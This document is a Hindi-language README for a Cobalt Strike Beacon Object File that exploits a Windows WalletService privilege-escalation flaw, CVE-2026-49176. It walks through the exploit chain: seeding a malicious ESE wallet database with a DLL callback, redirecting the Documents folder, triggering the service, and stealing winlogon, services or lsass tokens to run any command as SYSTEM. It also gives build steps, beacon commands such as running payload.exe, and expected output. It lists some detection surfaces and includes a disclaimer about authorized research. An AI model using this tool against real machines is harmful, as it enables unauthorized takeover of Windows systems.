CVE-2026-49176 Cobalt Strike BOF

विंडोज WalletService (CVE-2026-49176, जुलाई 2026 में पैच किया गया) के माध्यम से स्थानीय विशेषाधिकार वृद्धि के लिए Cobalt Strike Beacon Object File (BOF)।

मध्यम-अखंडता (मानक उपयोगकर्ता) Beacon से, यह टूल एक दुर्भावनापूर्ण Wallet ESE डेटाबेस स्टेज करता है, Documents को रीडायरेक्ट करता है, WalletService को ट्रिगर करता है, और इंटरैक्टिव डेस्कटॉप पर NT AUTHORITY\SYSTEM के रूप में कॉलर-निर्दिष्ट कमांड लाइन चलाता है।

केवल-BOF ट्री।
मूल स्टैंडअलोन PowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC। समान भेद्यता मूल कारण; भिन्न डिलीवरी और post-SYSTEM प्रक्रिया लॉन्च।

अस्वीकरण

केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और रक्षात्मक सत्यापन के लिए।

भेद्यता (मूल PoC के साथ साझा)

WalletService कॉलर का impersonation करते समय FOLDERID_Documents को रिज़ॉल्व करता है, फिर खोलने से पहले LocalSystem पर लौट जाता है:

<Documents>\Wallet\wallet.db

एक मानक उपयोगकर्ता उस डेटाबेस को ESE user-defined default कॉलबैक (PATH\payload.dll!Export) के साथ सीड कर सकता है, Documents को एक नियंत्रित निर्देशिका पर इंगित कर सकता है, और WinRT WalletManager.RequestStoreAsync / GetItemsAsync कॉल कर सकता है ताकि सेवा DLL को SYSTEM के रूप में लोड करे।

विस्तृत लेख: CVE-2026-49176 Exploit Development: WalletService to SYSTEM

BOF बनाम मूल PoC — विशेषाधिकार-वृद्धि पथ

समान: SYSTEM कोड निष्पादन कैसे प्राप्त होता है

Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

भिन्न: कॉलबैक के बाद इंटरैक्टिव SYSTEM प्रक्रिया

WalletService अक्सर फ़िल्टर किया गया SYSTEM टोकन उपयोग करता है (कोई उपयोग योग्य SeAssignPrimaryToken / SeImpersonate नहीं)। सीधा CreateProcess* → 1314।

Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

विशेषताएँ

• सक्रिय डेस्कटॉप पर SYSTEM के रूप में किसी भी कमांड/फ़ाइल के लिए एकल Beacon कमांड
• पूर्ण श्रृंखला इन-प्रोसेस: स्टेज → सीड → रीडायरेक्ट → ट्रिगर → प्रतीक्षा → Documents पुनर्स्थापित करें
• bof_pack("bbZ") के माध्यम से wallet_callback.dll + shell_broker.exe पैक करता है
• मल्टी-स्ट्रैटेजी post-SYSTEM स्पॉन + result.txt डायग्नोस्टिक्स
• केवल x64

आवश्यकताएँ

लेआउट

bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

बिल्ड

cd bof
build.bat

bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

यदि VS डिफ़ॉल्ट नहीं है तो build.bat में VCVARS64 पथ संपादित करें।
महत्वपूर्ण फ़्लैग: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (CS BOF लिंकर सुरक्षा)।

उपयोग

लोड करें

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(हर रीबिल्ड के बाद पुनः लोड करें।)

कमांड

beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt

• यदि पथ में स्पेस नहीं हैं तो बाहरी कोट्स न लगाएँ।
• वैकल्पिक मेनू: Beacon → CVE-2026-49176 → Run command as SYSTEM...

लक्ष्य पर स्टेजिंग

%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

पैकिंग

bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

अपेक्षित आउटपुट

टास्क लाइन

[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

सफलता (उदाहरणात्मक)

[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= winlogon, services, lsass या broker पथ हो सकता है।

सामान्य विफलताएँ

जब रीडायरेक्ट सफल हुआ तो विफलता पर भी Documents पुनर्स्थापित हो जाता है।

आर्किटेक्चर

cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

डिटेक्शन सतह

• Documents ज्ञात-फ़ोल्डर परिवर्तन
• %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + कॉलबैक DLL
• WalletService द्वारा उपयोगकर्ता-लेखनीय DLL लोड करना
• OpenProcess / टोकन APIs winlogon/lsass/services के विरुद्ध
• अल्पकालिक सेवाएँ CVE49176_*
• CreateProcessAsUserW / CreateProcessWithTokenW इंटरैक्टिव सत्रों में

सीमाएँ

• केवल x64; अपैच्ड WalletService आवश्यक
• कुछ बिल्ड पर Wallet WinRT API अनुपलब्ध/अप्रचलित हो सकता है
• स्टेज निर्देशिका स्वतः हटाई नहीं जाती
• ESE/WinRT Beacon के अंदर चलते हैं (प्रोसेस-पृथक मूल PoC की तुलना में क्रैश जोखिम)

संबंधित